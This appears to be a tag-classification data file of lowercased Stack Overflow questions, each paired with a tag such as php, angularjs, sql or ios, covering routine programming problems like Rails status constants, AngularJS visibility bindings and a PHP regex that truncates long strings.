rails 4: alternative to strings when setting  type  /  status  attribute   i ve run into this situation many times  where i need to store something like a status persay  so it would be something like this:   <pre><code>class order &lt; activerecord::base    incomplete =  incomplete    in_progress =  in progress    shipped =  shipped    cancelled =  cancelled    ... end </code></pre>   order would have a <code>status</code> attribute  and when creating an order i would just use <code>collection_select</code> with <code>[incomplete  in_progress  shipped  cancelled]</code> as the options.    is there a cleaner way of doing this without using hardcoded strings  like using a <code>status</code> association or some sort of poro  i feel like this would be a bit brittle  like if someone changed the <code>incomplete =  incomplete </code> to <code>incomplete =  incompletezzzzz </code> then all the statuses of my existing records would not match.,ruby-on-rails
my http-parser.c callbacks are undeclared  i am working on a server. i have included the http-parser.h header file and used their code for how to use it. however  when i compile i get the following errors:   <pre><code> my_url_callback  undeclared  my_header_field_callback  undeclared  my_socket  undeclared </code></pre>   i assumed that these were defined in the header file. apparently  i was mistaken. how should i declare these,c
cannot insert null where field is guid (object in sqldatasource)  i have a table which links to another table in the asp.net membership schema.    problem is  all the pks for the asp.net tables are uniqueidentifier so mine has to be too. when i add a sqldatasource and call its insert() method  i get the following error:    cannot insert the value null into column  discountcode   table  creamdb.dbo.custominfo1 ; column does not allow nulls. insert fails. the statement has been terminated.    the uniqueidentifier is also treated as an object (its data type)  but there is no guid data type. i had this problem before  but the schema was much simpler so i could fix it.    how  can i go about fixing this  if i get rid of the data type part in the markup (so just leave the field/parameter name but not the data type stuff)  i get another error so that is not possible.    thanks,asp.net
hide button after succesfully ng-click event   i have event for deleting data  when user clicks x icon for deleting data  data are deleted succesfully and displays status deleted  remember the default status is undeleted  what i want is when status is deleted the x icon for deleting data should be  hidden but if its not deleted x icon should be visible.    here is what i have done so far   <pre><code> &lt;!doctype html&gt;     &lt;html&gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js &gt;&lt;/script&gt;     &lt;body&gt;      &lt;div ng-app= myapp  ng-controller= myctrl &gt;      &lt;a ng-click =vm.deletedata() &lt;i class= fa fa-times&gt;&lt;i&gt;     &lt;label ng-show= vm.isvisible &gt; {{datastatus}}&lt;/label&gt;      &lt;/div&gt;      &lt;script&gt;     var app = angular.module( myapp   []);     app.controller( myctrl   function($scope) {        vm.isvisible =false;        $scope.deletedata = function()         {         if(vm.datastatus !==  deleted )         {         vm.isvisible = true;         }         else         {         vm.isvisible = false         }          };     });     &lt;/script&gt;        &lt;/body&gt;     &lt;/html&gt; </code></pre>   this hide x icon whether its deleted or undeleted what am doing wrong  can some one provide best way to archieve what i want  thanks  am new here though :d,angularjs
sql character count in table column  for example i have a table called x and and column inside of it y.    y has 500000 values like   <pre><code>190|12131|23|123|0|0|0|0|112 220|234|23|111|0|1|0|1|769 </code></pre>   in each value there are 8 <code>|</code>    but in some values there are errors and not 8 <code>|</code>   <pre><code>11|0000020|12|14 -----3 | 234|23|000|1|2 ------4 | </code></pre>   how can i list values that has less than 8 <code>|</code>    do i need to use function  if so  how and how can i call that function. i have never used functions in sql.,sql
function in referenced .js file in script source tag is not executed  javascript beginner question: so  i m learning online and ran across a tutorial with the following codes for the .html file. i attempted to run everything locally on my computer. following was what i did:     step 1: created .html file and placed the following codes inside   <pre><code> &lt;!doctype html&gt; &lt;html&gt; &lt;body&gt;  &lt;h1&gt;external javascript&lt;/h1&gt;  &lt;p id= demo &gt;a paragraph.&lt;/p&gt;  &lt;button type= button  onclick= myfunction() &gt;try it&lt;/button&gt;  &lt;p&gt;(myfunction is stored in an external file called  myscript.js ). &lt;/p&gt;  &lt;script src= myscript.js &gt;&lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   step 2:  created a .js file and placed the following codes inside:    <pre><code> function myfunction() {     document.getelementbyid( demo ).innerhtml =  paragraph changed. ;  } </code></pre>   step 3: executed .html file via chrome but function in .js file called by command in .html file doesn t execute    what am i doing wrong      thanks guys.,javascript
is there a compiler feature to inject custom function entry and exit code   currently coding on windows with vs2005 (but wouldn t mind knowing if there are options for other compilers and platforms.  i m most interested in osx as an alternative platform.)  i have a c (no c++) program and i d like to do the following...    given a function  say...   <pre><code>int myfunction(int myparam) {    // entry point.    ...    // exit point.    return 1; } </code></pre>   i d like to put a snippet of code at the entry point and at the exit point.  but  i d rather not have to modify the 100 s of functions that are already out there.  is there a way to define function entry and exit code that the compiler will inject for all my functions without having to modify them all       most solutions i ve found or tried will require me to edit every single function  which is a lot of work.  i figure someone else must have hit something like this already and solved it.  i can t be unique in this request i suspect.,c
display title if there are results  i have some records  in each  there is an optionnal field <code>infoadditionnelle</code> which is optionnal.     what i am doing is a loop on my records  and display  for each record  the <code>title</code> and the <code>infoadditionnelle</code> if the value of <code>infoadditionnelle</code> exists.    in some cases  all the value of <code>infoadditionnelle</code>  is empty in all the records  and in this case  i don t want the title of the section to be shown    see code : <a href= http://plnkr.co/edit/jdtebcjnvvwgxqi0xn8q p=preview  rel= nofollow >http://plnkr.co/edit/jdtebcjnvvwgxqi0xn8q p=preview</a>     in this code  all the <code>infoadditionnelle</code> are empty  so in this is case  i want to hide  my title   is it possible      thanks a lot,angularjs
getting all the mac address in the network android  is it possible to get all the mac address connected to my network using the android application  i just want to list all the mac address of the device connected to my network.     this is my code but it is not working:   <pre><code>class loadmacclicklistener implements onclicklistener         {             @override             public void onclick(view view) {                  arraylist&lt;string&gt; listitems=new arraylist&lt;string&gt;();                  wifimanager mwifimanager = (wifimanager) getsystemservice(context.wifi_service);                  mwifimanager = (wifimanager) getsystemservice(context.wifi_service);                  mwifimanager.startscan();                  list&lt;scanresult&gt; results = mwifimanager.getscanresults();                  for (scanresult result : results)                   {                      listitems.add(string.valueof(result));                        }                  listview lv = (listview)findviewbyid(r.id.listview1);                  arrayadapter&lt;string&gt; adapter=new arrayadapter&lt;string&gt;(context  android.r.layout.simple_list_item_1  listitems);                  lv.setadapter(adapter);                  lv.settextfilterenabled(true);             }         } </code></pre>,android
how to test html code of a big asp.net website  i want to test a big asp.net website through visual studio. are it is possible. are i need any other tool. if yes then tell me the name of them.    my means testing to  html code . means there is no problem in html code and they written in standard way,html
refresh $scope variables from a service  what is the proper method of refreshing data that is retrieved from a service  i am retrieving a test array from my <code>dataservice</code> that i d like to be automatically updated in my view when my <code>save()</code> method is called. i have commented the line that is supposed to update my $scope variable but yet nothing changes. should i be wrapping it in $apply()     the data that is placed into the array that <code>dataservice.getactivities()</code> returns is from a cookie (which may or not be relevant).    <pre><code>app.controller( activityctrl   [ $scope    dataservice   function ($scope  dataservice) {      $scope.newactivity =   ;     $scope.activities = dataservice.getactivities();      $scope.save = function (activity) {          try{             if (activity !=   ) {                 dataservice.saveactivity(activity);                  $scope.newactivity =   ;                 $scope.activities = dataservice.getactivities(); //here             }         } catch (e) {             alert(e);         }             } } </code></pre>   here is my view  the array lives in a <code>ng-repeat</code>   <pre><code>&lt;div class= col-xs-12  ng-controller= activityctrl &gt;     &lt;div class= row text-center &gt;         &lt;form novalidate&gt;             &lt;input type= text  placeholder= activity name  ng-model= newactivity  /&gt;             &lt;input type= submit  value= add activity  ng-click= save(newactivity)  /&gt;         &lt;/form&gt;                 &lt;/div&gt;     &lt;div class= row  ng-controller= activityctrl &gt;         &lt;div class= col-xs-2 &gt;&amp;nbsp;&lt;/div&gt;         &lt;div class= col-xs-6 text-left &gt;             &lt;div class= row  ng-repeat= activity in activities &gt;                 &lt;div class= btn btn-default  ng-class= { active : activity.active }  ng-click= activate(activity) &gt;{{ activity.name }}&lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;div class= col-xs-4 text-left &gt;             sdfas         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   dataservice code:   <pre><code>app.service( dataservice   function () {  this.getactivities = function () {      if (doccookies.hasitem( activities )) {          var activities = json.parse(doccookies.getitem( activities ));          if (activities.constructor != array) {              activities = [activities];         }          activities.sort(             function (a  b) {                 if (a.name &gt; b.name) { return 1; }                 if (b.name &lt; a.name) { return -1; }                 return 0;             });          return activities;     }      return []; }  this.saveactivity = function (activity) {      if (!doccookies.hasitem( activities )) {          doccookies.setitem( activities   [json.stringify({  name : activity   active : true })]  infinity);     } else {          var activities = this.getactivities();          for (var i = 0; i &lt; activities.length; i++) {              if (activities[i].name == activity) {                 throw  activity already exists ;             }         }          activities.push({  name : activity   active : false });         doccookies.setitem( activities   json.stringify(activities)  infinity);     }  }; }); </code></pre>,angularjs
sql subtract alias and create another  i would like to subtract the  alias  i created called  sales  &amp;  gp  and create a new column call gp   <pre><code> select oeel.invoicedt  ucase(oeel.whse) as whse  oeel.orderno  oeel.ordersuf          oeel.custno  ucase(oeel.shipto) as shipto  ucase(oeel.slsrepin) as slsrepin           ucase(oeel.slsrepout) as slsrepout  oeel.returnfl  oeel.netamt  oeel.wodiscamt          oeel.discamtoth  oeel.qtyship  oeel.commcost  icss.csunperstk          ucase(icsd.name) as name  ucase(icsd.region) as region          ucase(oeel.prodcat) as prodcat  ucase(sasta.descrip) as descrip          ucase(oeel.transtype) as transtype  ucase(arss.user2) as user2           oeel.transdt  icss.transdt as  icss.transdt   icsd.transdt as  icsd.transdt           sasta.transdt as  sasta.transdt   arss.transdt as  arss.transdt           { fn curdate() } as curdate1  { fn curtime() } as curtime2           oeel.lineno          case             when oeel.returnfl =  0  then (oeel.netamt-oeel.wodiscamt-oeel.discamtoth)             else (-1*(oeel.netamt-oeel.wodiscamt-oeel.discamtoth))         end as  sales           case             when oeel.returnfl =  0  then (oeel.qtyship*oeel.commcost*nvl(icss.csunperstk 1))             else (-1*oeel.qtyship*oeel.commcost*nvl(icss.csunperstk 1))         end as  cost     from { oj              { oj                 { oj                     { oj pub.oeel oeel                          left outer join pub.icss icss                               on oeel.cono = icss.cono                              and oeel.shipprod = icss.prod                              and oeel.icspecrecno = icss.icspecrecno                     }                      left outer join pub.icsd icsd                           on oeel.cono = icsd.cono and oeel.whse = icsd.whse                 }                  left outer join pub.sasta sasta                       on oeel.cono = sasta.cono and oeel.prodcat = sasta.codeval             }              left outer join pub.arss arss                   on oeel.cono = arss.cono                  and oeel.custno = arss.custno                  and oeel.shipto = arss.shipto         }   where (oeel.cono = 1)     and (oeel.invoicedt between { d  2014-06-02  } and { d  2014-06-03  })     and (sasta.codeiden in ( c    c ))   order by oeel.custno  oeel.shipto  oeel.prodcat </code></pre>,sql
"how to add a recurring interest rate onto a recurring and growing amount  i am trying to add the given percentage onto a number repeatedly over a few months that already has the percentage added on from the previous month.    i.e  the user defines 25% (this is not set could be any number of percent) i then add 25% onto the amount they invested to start with  for example:    customer invests £10 000  i add 25% onto £10 000  which equals £12 500. <strong>and then</strong> the following month i add the 25% onto the £12 500 from the month before  which should equal £15 625.    it should be a case of simple maths  yet i cannot figure this out using javascript. i keep getting the value of £15 000  and cannot work out how to store the given percentage in a variable itself and then add that percentage onto the total amount.    here is some code.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>// set the values...
   num = prompt( enter a percentage using a decimal number... );
   interestrate = num*100;
   startcash = 10000;
   total = startcash*interestrate/100+startcash;
   month = 1;
   
   // inputting text...
   starttext =  starting money: £ ;
   inttext =  interest earned:  ;
   totaltext =  total amount: £ ;
   monthtext =  month:  ;
   
   displaystart = starttext + startcash +  \n ;
   dispint = inttext + interestrate +  \n ;
   disptotal = totaltext + total +  \n ;
   dispmonth = monthtext + month +  \n ;
 
 
   dispvalue = displaystart + dispint + disptotal + dispmonth;
   
 
 
   console.log (dispvalue);
 
   addint = total + interestrate*100;
 
   console.log (addint);</code></pre>
 </div>
 </div>",javascript
c# - building dynamic lamba expressions  have a lamba expression that changes like this:   <pre><code>p =&gt; p.sourceid p =&gt; p.targetid p =&gt; p.someothervalue1 p =&gt; p.someothervalue2 etc. </code></pre>   to avoid writing a lot of duplicate code  i would like to make a function that builds the lambas dynamically based on a string value ( sourceid    targetid   etc.)    anyone know how to do that     thanks!,c#
hiding html <object> tag which is loading a npapi plugin  i am using an  tag to load a npapi plugin in my html page. at certain point in time  i am trying to hide the  and in order to do so  i am changing the width and height of the object to 0px using javascript. but this is not affecting the  tag.     here is the syntax:     object width= 100px  height= 100px  id= pluginmedia  type= application/x-wcfmedia >     can some one please let me know how to hide the      thanks and regards  souvik,html
change text from  submit  on input tag  i have a tag  <code>&lt;input type= submit  class= like /&gt;</code>. i want to have the text inside the button say  like   but right now  it says  submit .    <code>class=like</code> is my css  by the way.,html
pushing the same view controller instance more than once is not supported   i have one normal uiviewcontroller(home) in which i have ibaction method like   <pre><code>- (ibaction)goto1:(id)sender {  self. goto1controller.modaltransitionstyle =   uimodaltransitionstylefliphorizontal; [self presentmodalviewcontroller:self. goto1controller animated:yes]; } </code></pre>   it works fine. goto1controller is a normal uiviewcontroller in which i have used one action through userdefined navigation controller through which i go to another controller like   in self.goto1controller   <pre><code>- (ibaction)goto2:(id)sender  {           [userdefnavcontroller pushviewcontroller:goto2controller animated:yes]; [self presentmodalviewcontroller: userdefnavcontroller animated:no]; } </code></pre>   i come back from goto2controller to  goto1controller through   <pre><code>     [self dismissmodalviewcontrolleranimated:yes]; </code></pre>   it works fine...but when i use this same method([self dismissmodalviewcontrolleranimated:yes];) to go to home i have to press twice... and also when i press  - (ibaction)goto2:(id)sender again after coming from goto2controller crash is happened..error also  pushing the same view controller instance more than once is not supported  any solution  i have in my viewdidload as   <pre><code> userdefnavcontroller = [[uinavigationcontroller alloc] initwithrootviewcontroller:self]; </code></pre>,iphone
best place to put  auto start  another activity code   my android application(application a) launches another application (say application b) <strong>upon click of a button</strong>.     now i want to implement  auto start  functionality wherein application b will be launched as soon as application a is launched.  for this  i created a checkbox and used <code>sharedpreferences</code> to store the value of checkbox.  then  in my <code>oncreate()</code> method of activity a  i am checking the value of checkbox from <code>sharedpreferences</code> and launching application b in case the value is  true .     <strong>the problem:</strong>    the problem i am facing is  when the user exits  application b  (and comes back to application a) the <code>oncreate()</code> of application a is getting called again and application b opens up again. this sets off a infinite loop and at exit of application b  user returns to application a and goes to application b again.     i know oncreate() gets called multiple times (when we change orientation  keyboard opened  activity goes into background and is killed by system)  but is there any clean way of doing this     to reiterate  my requirement is to launch application b from application a if the  auto start  checkbox is checked in application a.,android
ios uiwebview won´t load  i made a simple <code>uiwebview</code> in my storyboard.     what happens now is that when the start screen appears the app stops there.    is anything wrong with my code    <pre><code>#import  viewcontroller.h   @interface viewcontroller ()  @end  @implementation viewcontroller  - (void)viewdidload  {     [super viewdidload];     nsstring *fullurl = @ http://google.com ;     nsurl *url = [nsurl urlwithstring:fullurl];     nsurlrequest *requestobj = [nsurlrequest requestwithurl:url];     [_webview loadrequest:requestobj];    }  @end </code></pre>   and my .h:   <pre><code>#import &lt;uikit/uikit.h&gt;  @interface viewcontroller : uiviewcontroller @property (strong  nonatomic) iboutlet uiwebview *webview;  @end </code></pre>,ios
ios - find out for which account app store has paid the developer   is it possible to find out for which account**(s)** app store has paid the developer     for eg:   <ul> <li>i have an app for $10</li> <li>1 user bought app in june</li> <li>apple paid developer $7 in july</li> </ul>   can i find out via <code>api</code> which user was it via some field like <code>transaction receipt</code> or something,ios
how i can run a report with wialon and php   this is my code:   <pre><code>$jetta=13109352; $sid= 0a6326c67bc4462fcac1651e219c92f7 ;  $fec1 = strtotime( 11.11.2015 00:00 ); //1420930800  $fec2 = strtotime( 11.11.2015 23:59 ); //1420930800  $url= https://hst-api.wialon.com/wialon/ajax.html svc=report/exec_report&amp; params={      reportresourceid :12876840       reporttemplateid :1       reportobjectid :13109352       reportobjectsecid :0       interval :{          from : .$fec1.            to : .$fec2.            flags :0x00     } }&amp;sid= .$sid; </code></pre>   $json = file_get_contents($url);     echo $json;    i have this error: { error :4} ->>>> invalid input,php
one <option> list for several <select> elements  is it possible to define one dropdown list in html and use it for several forms on one page     i have this dropdown form:   <pre><code>&lt;select name= test1  id= test1 &gt; &lt;option value= 1 &gt;one&lt;/option&gt; &lt;option value= 2 &gt;two&lt;/option&gt; &lt;option value= 3 &gt;three&lt;/option&gt; &lt;/select&gt; </code></pre>   and i will have much more forms like this but with the same list. like:   <pre><code>&lt;select name= test2  id= test2 &gt; &lt;option value= 1 &gt;one&lt;/option&gt; &lt;option value= 2 &gt;two&lt;/option&gt; &lt;option value= 3 &gt;three&lt;/option&gt; &lt;/select&gt;  &lt;select name= test3  id= test3 &gt; &lt;option value= 1 &gt;one&lt;/option&gt; &lt;option value= 2 &gt;two&lt;/option&gt; &lt;option value= 3 &gt;three&lt;/option&gt; &lt;/select&gt; </code></pre>   <strong>my question:</strong> is it possible to use one dropdown list for all forms  so i didn t have to copy each one  (there will be more than 200 lines in dropdown list),html
best practice approach for many parameters  i m writing a signing up method which needs many parameters. initially  i chose the below approach for my method.   <pre><code>// approach #1 - (void)signupwithinformation:(nsdictionary *)information                       success:(void (^)(nsdictionary *))success                       failure:(void (^)(nserror *))failure {     // ...      nsdictionary *parameters = @{@ email : information[@ email ]                                   @ new_password : information[@ password ]                                   @ user_name : information[@ username ]                                   @ sex : ([information[@ sex ] isequaltonumber:@(eftusersexmale)])   @ m  : @ f                                    @ phone_nubmer : information[@ phonenumber ]                                   @ weight : information[@ weight ]                                   @ height : information[@ height ]                                   @ birthday : [formatter stringfromdate:information[@ birthday ]]};      // ... } </code></pre>   but i felt that this approach is some discomfort. even though <code>information</code> gives me some flexibilities  it needs boxing and unboxing to store values to the dictionary.    so i thought the below approach.   <pre><code>// approach #2 - (void)signupwithemail:(nsstring *)email                password:(nsstring *)password                    name:(nsstring *)name                     sex:(eftusersex)sex             phonenumber:(nsstring *)phonenumber                  weight:(double)weight                  height:(double)height                birthday:(nsdate *)birthday                 success:(void (^)(nsdictionary *))success                 failure:(void (^)(nserror *))failure {     // ...      nsdictionary *parameters = @{@ email : email                                   @ new_password : password                                   @ user_name : username                                   @ sex : (sex == eftusersexmale)   @ m  : @ f                                   @ phone_nubmer : phonenumber                                   @ weight : weight                                   @ height : height                                   @ birthday : [formatter stringfromdate:birthday]};      // ... } </code></pre>   because the objective-c has the named parameter structure  i think that this approach looks like dictionary and there is no needs for boxing and unboxing.    however  i can t decide which approach is the best. maybe there are another good approaches,objective-c
sql multiple columns plus sum of each column  using mysql  i am counting the occurrence of several events (fields) over a time span of years. i then display this in columns by year.  my query works perfect when grouped by year. i now want to add a final column which displays the aggregate of the years.  how do i include the <strong>total of columns</strong> query    <pre><code>event 2008  2009  2010  2011 total     a     0     2    0     1     3     b     1     2    3     0     6   etc. </code></pre>   here is the real query:     <pre><code>select        count(*) as total_docs        year(field_document_date_value) as doc_year        field_document_facility_id_value as facility        if(count(if(field_document_type_value = lic809  1  null)) &gt;0 count(if(field_document_type_value = lic809  1  null))  - ) as doc_type_lic809        if(count(if(field_document_type_value = lic9099  1  null)) &gt;0 count(if(field_document_type_value = lic9099  1  null))  - ) as doc_type_lic9099        if(count(field_document_f1_value) &gt;0 count(field_document_f1_value)  - )  as substantial_compliance        if(count(field_document_f2_value) &gt;0 count(field_document_f2_value)  - ) as deficiencies_sited        if(count(field_document_f3_value) &gt;0 count(field_document_f3_value)  - ) as admin_outcome_809        if(count(field_document_f4_value) &gt;0 count(field_document_f4_value)  - ) as unfounded        if(count(field_document_f5_value) &gt;0 count(field_document_f5_value)  - ) as substantiated        if(count(field_document_f6_value) &gt;0 count(field_document_f6_value)  - ) as inconclusive        if(count(field_document_f7_value) &gt;0 count(field_document_f7_value)  - ) as further_investigation        if(count(field_document_f8_value) &gt;0 count(field_document_f8_value)  - ) as admin_outcome_9099        if(count(field_document_type_a_value) &gt;0 count(field_document_type_a_value)  - ) as penalty_type_a        if(count(field_document_type_b_value) &gt;0 count(field_document_type_b_value)  - ) as penalty_type_b        if(sum(field_document_civil_penalties_value) &gt;0 concat( $  sum(field_document_civil_penalties_value))  - ) as total_penalties        if(count(field_document_noncompliance_value) &gt;0 count(field_document_noncompliance_value)  - ) as total_noncompliance    from rcfe_content_type_facility_document    where year(field_document_date_value) between year(now()) -9 and year(now())     and field_document_facility_id_value = :facility    group by doc_year   </code></pre>,mysql
python: get items from itemlist  i m python newbie and found something difficult while doing some practices.    i have few def functions under a class look like:   <pre><code>class a(object):      def __init__(self):          self.itemid = []         self.itemlist = []      def add(self  id  list):          self.itemid.append(id)         self.itemlist.append(list)      def get_item(self id):          self.id = id         result = []         for self.id in self.itemlist:             result.append(self.itemlist)         return result </code></pre>   i m having problems with  def get_item . here s an example..    if i do:   <pre><code>a.add( abc    bcd )  a.add( abc1    bcd1 )  a.get_item( abc ) </code></pre>   this should return abc  bcd but mine returns [[ bcd    bcd1 ]  [ bcd    bcd1 ]]...    apologise for the long complicated dumb looked codes.... any feedbacks would be so appreciated.. thanks,python
javascript statement ending with comma or semicolon when object definition  all  i am not familiar with the javascript oo  after i did some experiment with it  i have some little confused questions about the object definition  please help to review my code and comments below.thanks.   <pre><code>    globalutility = function() {             this.templetecode =  123 ;              this.init(); //why can not put this code here  //there is an error says getoriginalsource is not a function .  //this is not like the classical oo constructor which can call any methods in class.             this.init = function() {                 var source=this.getoriginalsource();                 alert(source +   is ok. );             } //i found i can end this statement by   or ; is there any difference between them               this.getoriginalsource=function(){                 return  abc ;             };             //this.init(); putting this code here is ok .          }; </code></pre>,javascript
c# specified time label change the structure <pre><code>int sn = 0;  private void form1_load(object sender  eventargs e) {     label1.text =  konfigürasyon yükleniyor. ;     timer1.interval = 1000;     timer1.enabled = true;     timer1.start(); }  private void timer1_tick(object sender  eventargs e) {     if (sn == 3)     {         label1.text =  ayarlar alınıyor ;     }     if (sn == 5)     {         label1.text =  program başlatılıyor ;     }     sn++;     timer1.stop(); } </code></pre>   when i open the form i want to change the label when i select the text range.,c#
retain count and dealloc in iphone  i want to ask about the iphone application and objective c question. in the implementation program  there are function called  dealloc   does this function only be called one time by the application      for example  if i alloc a object and retain it 2 times  the retains count is 2 and i never use   release  in the program  unless in the dealloc. will the object be removed from the memory  or the objective will be removed from the memory. thank you.,objective-c
problem chaining rails associations  i m somewhat of a rails beginner  and can t shake the feeling that i m overlooking something stupid  but here goes. i m building a simple online game that allows one user to  challenge  another  and i have the following models:   <pre><code>class user &lt; activerecord:base   has_one :challenge end  class challenge &lt; activerecord:base   belongs_to :user   belongs_to :target  :class_name =&gt;  user  end </code></pre>   the database fields are what you d expect: <code>challenge</code> has a <code>user_id</code> and <code>target_id</code>  <code>user</code> has a <code>username</code> and some password-related fields.    from an empty database  i create two users (which receive ids 1 and 2) and a single <code>challenge</code> with <code>user_id 1</code> and <code>target_id 2</code>. from the console  <code>challenge.find(1).target</code> returns user 2  as expected. what s <em>not</em> expected is that <code>user.find(1).challenge.target</code> returns not user 2  but the <code>challenge</code> itself!    needless to say  i m lost here. it seems like something this basic should just work(tm). any ideas,ruby-on-rails
url loading problem  i parsing the  http://feeds.epicurious.com/newrecipes  url and i read the  urls as following format.    <a href= http://feeds.epicurious.com/~r/newrecipes/~3/tgbdo1ld400/361889  rel= nofollow >http://feeds.epicurious.com/~r/newrecipes/~3/tgbdo1ld400/361889</a>    when i put this above url in uiwebview  it does not work.    but when i put this url in web browser it will change automatically as the following format.    <a href= http://www.epicurious.com/recipes/food/views/cherry-cranberry-sauce-361889 mbid=rss_epinr&amp;utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=feed%3a+newrecipes+%28epicurious+-+new+recipes%29  rel= nofollow >http://www.epicurious.com/recipes/food/views/cherry-cranberry-sauce-361889 mbid=rss_epinr&amp;utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=feed%3a+newrecipes+%28epicurious+-+new+recipes%29</a>    how to solve this issue. if anybody having any idea please answer me.     thanks..,iphone
when user navigates to a page  is there an event other than application_beginrequest (in global.asax)   i would like to log some data when a visitor navigates to a page. thus  instead of the website log  there would be also a log for every single page. i couldn t find a way (except doing it in every single page  which is exhausting) to do so. is there an event or any other method to do it without writing code to every single page s code behind     i have tried application_beginrequest event  but it fires 2 times for every page. i don t know why it fires the second time when a user navigates to a page.,asp.net
email img tracking script downloading the file instead of displaying it <pre><code>header( content-type: image/png ); header( pragma: public ); header( expires: 0 ); header( cache-control: must-revalidate  post-check=0  pre-check=0 ); header( cache-control: private  false); header( content-disposition: attachment; filename= blank.png  ); header( content-transfer-encoding: binary ); header( content-length:  .filesize( 1x1img.png )); readfile( 1x1img.png ); exit(); </code></pre>   the script above  force downloads the file  instead of showing it as an image.    what is it missing so it won t download the file,php
moving image in a table <pre><code>&lt;td width= 570 &gt;    &lt;table bgcolor= #ffffff  cellpadding= 20  cellspacing= 0 &gt;       &lt;tbody&gt;          &lt;tr&gt;             &lt;td width= 530 &gt;                &lt;table cellpadding= 0  cellspacing= 0 &gt;                   &lt;tbody&gt;                      &lt;tr&gt;                         &lt;td rowspan= 7  align= center  height= 100%  valign= top  width= 85 &gt;&lt;img src= img here! &gt;&lt;/td&gt;                         &lt;td rowspan= 7  height= 100%  width= 20 &gt;                            &lt;table width= 20 &gt;                               &lt;tbody&gt;                                  &lt;tr&gt;                                     &lt;td&gt;&lt;/td&gt;                                  &lt;/tr&gt;                               &lt;/tbody&gt;                            &lt;/table&gt;                         &lt;/td&gt;                      &lt;/tr&gt;                      &lt;tr&gt;                         &lt;td style= line-height:10px;font-size:1px;  colspan= 1  nowrap=   height= 10  valign= top  width= 425 &gt;&lt;/td&gt;                      &lt;/tr&gt;                      &lt;tr&gt;                         &lt;td width= 425 &gt;                            &lt;h3 style= color: #172e4d; font-family: arial sans-serif; font-size: 16px; line-height:19px; font-weight: bold; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; &gt; how to sell a cafe  sandwich bar  fish and chip shop... &lt;/h3&gt;                         &lt;/td&gt;                      &lt;/tr&gt;                      &lt;tr&gt;                         &lt;td style= line-height:15px;font-size:1px;  colspan= 1  nowrap=   height= 15  valign= top  width= 425 &gt;&lt;/td&gt;                      &lt;/tr&gt;                      &lt;tr&gt;                         &lt;td width= 425 &gt;&lt;/td&gt;                      &lt;/tr&gt;                      &lt;tr&gt;                         &lt;td style= color: #666666; font-family: arial sans-serif; font-size: 14px; line-height:17px; font-weight: normal; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px;  width= 100% &gt;well  not just selling a cafe  selling any food or drink related business can be tough  with over 8 000 other food and drink related businesses actively trying to sell you need the right advice.&lt;/td&gt;                      &lt;/tr&gt;                      &lt;tr&gt;                         &lt;td style= line-height:10px;font-size:1px;  colspan= 1  nowrap=   height= 10  valign= top  width= 425 &gt;&lt;/td&gt;                      &lt;/tr&gt;                      &lt;tr&gt;                         &lt;td align= left  valign= middle  width= 425 &gt;                            &lt;table border= 0  cellpadding= 0  cellspacing= 0 &gt;                               &lt;tbody&gt; &lt;/tbody&gt;                            &lt;/table&gt;                         &lt;/td&gt;                      &lt;/tr&gt;                   &lt;/tbody&gt;                &lt;/table&gt;             &lt;/td&gt;          &lt;/tr&gt;       &lt;/tbody&gt;    &lt;/table&gt; &lt;/td&gt; </code></pre>   hi i am looking to move the image to the right and the text to the left. i have been trying to do it for hours but just cant seem to get it right  please help!,html
php - why does this regex truncate my string to zero length   yesterday i tracked down a strange bug which caused a website display only a white page - no content on it  no error message visible.    i found that a regular expression used in preg_replace was the problem.     i used the regex in order to replace the title html tag in the accumulated content just before echo´ing the html. the html got rather large on the page where the bug occured (60 kb - not too large) and it seemed like preg_replace / the regex used can only handle a string of certain length - or my regex is really messed up (also possible).    look at this sample program which reproduces the problem (tested on php 5.2.9):    <hr />  <pre><code>function replacetitletaginhtmlsource($content  $replacewith) {   return preg_replace( #(&lt;title&gt;)([\s\s]+)(&lt;\/title&gt;)#i    $1 .$replacewith. $3   $content); }   $dummystr = str_repeat( a   6000);  $totalstr =  &lt;title&gt;foo&lt;/title&gt; ;  for($i = 0; $i &lt; 10; $i++) {   $totalstr .= $dummystr; }  print  orignal:   . strlen($totalstr); print  &lt;hr /&gt; ;  $replaced = replacetitletaginhtmlsource($totalstr   bar );  print  replaced:   . strlen($replaced); print  &lt;hr /&gt; ; </code></pre>   output:    orignal: 60018<br /> <strong>replaced: 0</strong>    so - the function gets a string of length 60000 and returns a string with 0 length. not what i wanted to do with my regex.   <hr />   changing   <pre><code>for($i = 0; $i &lt; 10; $i++) { </code></pre>   to   <pre><code>for($i = 0; $i &lt; 1; $i++) { </code></pre>   in order to decrease the total string length  the output is:    orignal: 6018<br /> replaced: 6018   <hr />   when i removed the replacing  the content of the page was displayed without any problems.,php
why are javascript runtimes omitted from rails gemfiles by default   there are lots of questions about the dreaded <code>could not find a javascript runtime</code> error when running <code>rails</code> or <code>rake</code>. while the solution is clear  <strong><em>why</em> is it standard to leave the javascript framework out of the gemfile </strong>    the only reasons i could think of are:   <ul> <li>fuzzy crowd-sourcing of the testing of the app with different js frameworks.</li> <li>force newbies to learn about gemfiles before doing anything useful with rails.</li> </ul>   both of these seem to do more harm than good to the rails reputation. isn t the point of rails to be up and running as soon as possible  seems to me that the <a href= https://en.wikipedia.org/wiki/principle_of_least_astonishment  rel= nofollow >principle of least astonishment</a> and <a href= https://en.wikipedia.org/wiki/convention_over_configuration  rel= nofollow >convention over configuration</a> would dictate that developers (and especially newbies)   <ol> <li>shouldn t have to care about (and much less compare) js frameworks before starting work any more than they do for sqlite vs. postgresql </li> <li>shouldn t have to do more configuration before running <strike>an</strike> every app  and in summary</li> <li>should just <em>download  install and run</em>  like with pretty much every mainstream app in every other language these days.</li> </ol>,ruby-on-rails
